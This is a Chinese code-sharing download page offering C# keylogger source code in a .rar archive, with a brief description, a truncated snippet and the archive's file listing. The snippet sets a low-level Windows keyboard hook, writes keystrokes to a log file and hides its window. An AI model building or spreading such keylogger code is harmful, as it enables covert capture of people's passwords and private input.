• 大小: 0.17M
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2020-12-14
  • 语言: C#
  • 标签: 键盘记录  源码  键盘  

资源简介

C# 程序代码 基础,记录按键按下,并以TXT文件储存

资源截图

代码片段和文件信息

using System;
using System.Windows.Forms;
using System.Windows;
using System.Text;
using System.Linq;

using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using Microsoft.Win32;
using System.Net;
using System.Threading;
using System.Reflection;

namespace ConsoleApplication1
{
    class Program
    {
        readonly public static string logPath = “E:\\log.txt“;

        private delegate IntPtr LowLevelKeyboardProc(int nCode IntPtr wParam IntPtr lParam);

        #region
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        private const int SW_HIDE = 0;
        #endr

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

    ..A..H.     45056  2019-10-13 21:13  C#键盘记录源码\.vs\ConsoleApplication1\v15\.suo

     文件          0  2019-10-13 20:46  C#键盘记录源码\.vs\ConsoleApplication1\v15\Server\sqlite3\db.lock

     文件       4096  2019-10-13 20:46  C#键盘记录源码\.vs\ConsoleApplication1\v15\Server\sqlite3\storage.ide

     文件      32768  2019-10-13 21:10  C#键盘记录源码\.vs\ConsoleApplication1\v15\Server\sqlite3\storage.ide-shm

     文件     918792  2019-10-13 21:12  C#键盘记录源码\.vs\ConsoleApplication1\v15\Server\sqlite3\storage.ide-wal

     文件        189  2018-05-17 13:24  C#键盘记录源码\App.config

     文件       7680  2019-10-13 21:12  C#键盘记录源码\bin\x86\Debug\ConsoleApplication1.exe

     文件        189  2018-05-17 13:24  C#键盘记录源码\bin\x86\Debug\ConsoleApplication1.exe.config

     文件      13824  2019-10-13 21:12  C#键盘记录源码\bin\x86\Debug\ConsoleApplication1.pdb

     文件       3318  2019-10-13 20:50  C#键盘记录源码\ConsoleApplication1.csproj

     文件       1479  2019-10-13 20:50  C#键盘记录源码\ConsoleApplication1.sln

     文件         42  2019-10-13 20:46  C#键盘记录源码\obj\Debug\ConsoleApplication1.csproj.CoreCompileInputs.cache

     文件       1261  2019-10-13 20:46  C#键盘记录源码\obj\Debug\ConsoleApplication1.csproj.FileListAbsolute.txt

     文件       9687  2019-10-13 20:46  C#键盘记录源码\obj\Debug\ConsoleApplication1.csprojAssemblyReference.cache

     文件      13048  2018-05-17 13:24  C#键盘记录源码\obj\Debug\ConsoleApplication1.csprojResolveAssemblyReference.cache

     文件       7680  2019-10-13 20:46  C#键盘记录源码\obj\Debug\ConsoleApplication1.exe

     文件      13824  2019-10-13 20:46  C#键盘记录源码\obj\Debug\ConsoleApplication1.pdb

     文件       6870  2018-05-17 13:24  C#键盘记录源码\obj\Debug\DesignTimeResolveAssemblyReferencesInput.cache

     文件          0  2018-05-17 13:24  C#键盘记录源码\obj\Debug\TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs

     文件          0  2018-05-17 13:24  C#键盘记录源码\obj\Debug\TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs

     文件          0  2018-05-17 13:24  C#键盘记录源码\obj\Debug\TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs

     文件         42  2019-10-13 20:49  C#键盘记录源码\obj\x86\Debug\ConsoleApplication1.csproj.CoreCompileInputs.cache

     文件        676  2019-10-13 20:50  C#键盘记录源码\obj\x86\Debug\ConsoleApplication1.csproj.FileListAbsolute.txt

     文件       9687  2019-10-13 20:49  C#键盘记录源码\obj\x86\Debug\ConsoleApplication1.csprojAssemblyReference.cache

     文件       7680  2019-10-13 21:12  C#键盘记录源码\obj\x86\Debug\ConsoleApplication1.exe

     文件      13824  2019-10-13 21:12  C#键盘记录源码\obj\x86\Debug\ConsoleApplication1.pdb

     文件       6895  2019-10-13 20:49  C#键盘记录源码\obj\x86\Debug\DesignTimeResolveAssemblyReferencesInput.cache

     文件          0  2019-10-13 20:49  C#键盘记录源码\obj\x86\Debug\TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs

     文件          0  2019-10-13 20:49  C#键盘记录源码\obj\x86\Debug\TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs

     文件          0  2019-10-13 20:49  C#键盘记录源码\obj\x86\Debug\TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs

............此处省略22个文件信息

评论

共有 条评论